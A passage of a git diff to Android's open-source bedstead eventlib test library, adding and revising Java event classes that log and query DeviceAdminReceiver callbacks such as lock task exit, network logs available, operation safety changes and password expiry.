+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeExitingEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeExitingEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminLockTaskModeExitingEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminLockTaskModeExitingEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onLockTaskModeExiting(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminLockTaskModeExitingEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
new file mode 100644
index 0000000..c9b6eb2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.LongQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}
+ * is called.
+ */
+public final class DeviceAdminNetworkLogsAvailableEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminNetworkLogsAvailableEvent} events. */
+    public static DeviceAdminNetworkLogsAvailableEventQuery queryPackage(String packageName) {
+        return new DeviceAdminNetworkLogsAvailableEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminNetworkLogsAvailableEvent}. */
+    public static final class DeviceAdminNetworkLogsAvailableEventQuery
+            extends EventLogsQuery<DeviceAdminNetworkLogsAvailableEvent,
+            DeviceAdminNetworkLogsAvailableEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        LongQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mBatchToken =
+                new LongQueryHelper<>(this);
+        IntegerQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mNetworkLogsCount =
+                new IntegerQueryHelper<>(this);
+
+        private DeviceAdminNetworkLogsAvailableEventQuery(String packageName) {
+            super(DeviceAdminNetworkLogsAvailableEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminNetworkLogsAvailableEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Query {@code batchToken} passed into
+         * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+         */
+        @CheckResult
+        public LongQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> whereBatchToken() {
+            return mBatchToken;
+        }
+
+        /**
+         * Query {@code networkLogsCount} passed into
+         * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+         */
+        @CheckResult
+        public IntegerQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> whereNetworkLogsCount() {
+            return mNetworkLogsCount;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminNetworkLogsAvailableEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mBatchToken.matches(event.mBatchToken)) {
+                return false;
+            }
+            if (!mNetworkLogsCount.matches(event.mNetworkLogsCount)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminNetworkLogsAvailableEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("batchToken", mBatchToken)
+                    .field("networkLogsCount", mNetworkLogsCount)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminNetworkLogsAvailableEvent}. */
+    public static DeviceAdminNetworkLogsAvailableEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent,
+            long batchToken, int networkLogsCount) {
+        return new DeviceAdminNetworkLogsAvailableEventLogger(
+                deviceAdminReceiver, context, intent, batchToken, networkLogsCount);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminNetworkLogsAvailableEvent}. */
+    public static final class DeviceAdminNetworkLogsAvailableEventLogger
+            extends EventLogger<DeviceAdminNetworkLogsAvailableEvent> {
+        private DeviceAdminNetworkLogsAvailableEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent,
+                long batchToken, int networkLogsCount) {
+            super(context, new DeviceAdminNetworkLogsAvailableEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mBatchToken = batchToken;
+            mEvent.mNetworkLogsCount = networkLogsCount;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@code batchToken} which was received. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setBatchToken(long batchToken) {
+            mEvent.mBatchToken = batchToken;
+            return this;
+        }
+
+        /** Sets the {@code networkLogsCount} which was received. */
+        public DeviceAdminNetworkLogsAvailableEventLogger setNetworkLogsCount(int networkLogsCount) {
+            mEvent.mNetworkLogsCount = networkLogsCount;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected long mBatchToken;
+    protected int mNetworkLogsCount;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@code batchToken} passed into
+     * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+     */
+    public long batchToken() {
+        return mBatchToken;
+    }
+
+    /**
+     * The {@code networkLogsCount} passed into
+     * {@link DeviceAdminReceiver#onNetworkLogsAvailable(Context, Intent, long, int)}.
+     */
+    public int networkLogsCount() {
+        return mNetworkLogsCount;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminNetworkLogsAvailableEvent{"
+                + " intent=" + intent()
+                + ", batchToken=" + mBatchToken
+                + ", networkLogsCount=" + mNetworkLogsCount
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
new file mode 100644
index 0000000..528ad27
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.BooleanQuery;
+import com.android.queryable.queries.BooleanQueryHelper;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntegerQuery;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, int, boolean)}
+ * is called.
+ */
+public final class DeviceAdminOperationSafetyStateChangedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminOperationSafetyStateChangedEvent} events. */
+    public static DeviceAdminOperationSafetyStateChangedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminOperationSafetyStateChangedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminOperationSafetyStateChangedEvent}. */
+    public static final class DeviceAdminOperationSafetyStateChangedEventQuery
+            extends EventLogsQuery<DeviceAdminOperationSafetyStateChangedEvent,
+            DeviceAdminOperationSafetyStateChangedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntegerQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mReason =
+                new IntegerQueryHelper<>(this);
+        BooleanQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mIsSafe =
+                new BooleanQueryHelper<>(this);
+
+        private DeviceAdminOperationSafetyStateChangedEventQuery(String packageName) {
+            super(DeviceAdminOperationSafetyStateChangedEvent.class, packageName);
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminOperationSafetyStateChangedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Query {@code reason} passed into
+         * {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, int, boolean)}.
+         */
+        @CheckResult
+        public IntegerQuery<DeviceAdminOperationSafetyStateChangedEventQuery> whereReason() {
+            return mReason;
+        }
+
+        /**
+         * Query {@code isSafe} passed into
+         * {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, int, boolean)}.
+         */
+        @CheckResult
+        public BooleanQuery<DeviceAdminOperationSafetyStateChangedEventQuery> whereIsSafe() {
+            return mIsSafe;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminOperationSafetyStateChangedEvent event) {
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mReason.matches(event.mReason)) {
+                return false;
+            }
+            if (!mIsSafe.matches(event.mIsSafe)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminOperationSafetyStateChangedEvent.class, this)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("reason", mReason)
+                    .field("isSafe", mIsSafe)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminOperationSafetyStateChangedEvent}. */
+    public static DeviceAdminOperationSafetyStateChangedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context, int reason, boolean isSafe) {
+        return new DeviceAdminOperationSafetyStateChangedEventLogger(
+                deviceAdminReceiver, context, reason, isSafe);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminOperationSafetyStateChangedEvent}. */
+    public static final class DeviceAdminOperationSafetyStateChangedEventLogger
+            extends EventLogger<DeviceAdminOperationSafetyStateChangedEvent> {
+        private DeviceAdminOperationSafetyStateChangedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, int reason, boolean isSafe) {
+            super(context, new DeviceAdminOperationSafetyStateChangedEvent());
+            mEvent.mReason = reason;
+            mEvent.mIsSafe = isSafe;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminOperationSafetyStateChangedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminOperationSafetyStateChangedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminOperationSafetyStateChangedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@code reason} which was received. */
+        public DeviceAdminOperationSafetyStateChangedEventLogger setReason(int reason) {
+            mEvent.mReason = reason;
+            return this;
+        }
+
+        /** Sets the {@code isSafe} which was received. */
+        public DeviceAdminOperationSafetyStateChangedEventLogger setIsSafe(boolean isSafe) {
+            mEvent.mIsSafe = isSafe;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected int mReason;
+    protected boolean mIsSafe;
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@code reason} passed into
+     * {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, int, boolean)}.
+     */
+    public int reason() {
+        return mReason;
+    }
+
+    /**
+     * The {@code isSafe} passed into
+     * {@link DeviceAdminReceiver#onOperationSafetyStateChanged(Context, int, boolean)}.
+     */
+    public boolean isSafe() {
+        return mIsSafe;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminOperationSafetyStateChangedEvent{"
+                + ", reason=" + mReason
+                + ", isSafe=" + mIsSafe
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
index 5e09058..fbb26d3 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
@@ -40,7 +40,9 @@
  */
 public final class DeviceAdminPasswordChangedEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminPasswordChangedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminPasswordChangedEvent} events. */
     public static DeviceAdminPasswordChangedEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordChangedEventQuery(packageName);
     }
@@ -49,19 +51,22 @@
     public static final class DeviceAdminPasswordChangedEventQuery
             extends EventLogsQuery<DeviceAdminPasswordChangedEvent,
             DeviceAdminPasswordChangedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordChangedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordChangedEventQuery> mIntent =
                 new IntentQueryHelper<>(this);
         UserHandleQueryHelper<DeviceAdminPasswordChangedEventQuery> mUserHandle =
-                new UserHandleQueryHelper<DeviceAdminPasswordChangedEventQuery>(this);
+                new UserHandleQueryHelper<>(this);
 
         private DeviceAdminPasswordChangedEventQuery(String packageName) {
             super(DeviceAdminPasswordChangedEvent.class, packageName);
         }
 
         /**
-         * Query {@link Intent} passed into
+         * Queries {@link Intent} passed into
          * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent)}.
          */
         @CheckResult
@@ -69,14 +74,14 @@
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminPasswordChangedEventQuery>
                 whereDeviceAdminReceiver() {
             return mDeviceAdminReceiver;
         }
 
-        /** Query {@link UserHandle} passed into
+        /** Queries {@link UserHandle} passed into
          * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent, UserHandle)}.
          */
         @CheckResult
@@ -97,9 +102,18 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminPasswordChangedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("userHandle", mUserHandle)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminPasswordChangedEvent}. */
+    /** Begins logging a {@link DeviceAdminPasswordChangedEvent}. */
     public static DeviceAdminPasswordChangedEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
         return new DeviceAdminPasswordChangedEventLogger(deviceAdminReceiver, context, intent);
@@ -115,34 +129,34 @@
             setDeviceAdminReceiver(deviceAdminReceiver);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminPasswordChangedEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
         }
 
-        /** Set the {@link UserHandle}. */
+        /** Sets the {@link UserHandle}. */
         public DeviceAdminPasswordChangedEventLogger setUserHandle(UserHandle userHandle) {
             mEvent.mUserHandle = new SerializableParcelWrapper<>(userHandle);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
new file mode 100644
index 0000000..12fed72
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent)} or
+ * {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminPasswordExpiringEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminPasswordExpiringEvent} events. */
+    public static DeviceAdminPasswordExpiringEventQuery queryPackage(String packageName) {
+        return new DeviceAdminPasswordExpiringEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminPasswordExpiringEvent}. */
+    public static final class DeviceAdminPasswordExpiringEventQuery
+            extends EventLogsQuery<DeviceAdminPasswordExpiringEvent,
+            DeviceAdminPasswordExpiringEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminPasswordExpiringEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminPasswordExpiringEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminPasswordExpiringEventQuery> mUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminPasswordExpiringEventQuery(String packageName) {
+            super(DeviceAdminPasswordExpiringEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminPasswordExpiringEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminPasswordExpiringEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onPasswordExpiring(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminPasswordExpiringEventQuery> whereUser() {
+            return mUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminPasswordExpiringEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mUser.matches(event.mUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminPasswordExpiringEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("user", mUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminPasswordExpiringEvent}. */
+    public static DeviceAdminPasswordExpiringEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminPasswordExpiringEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminPasswordExpiringEvent}. */
+    public static final class DeviceAdminPasswordExpiringEventLogger
+            extends EventLogger<DeviceAdminPasswordExpiringEvent> {
+        private DeviceAdminPasswordExpiringEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminPasswordExpiringEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordExpiringEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordExpiringEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordExpiringEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminPasswordExpiringEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
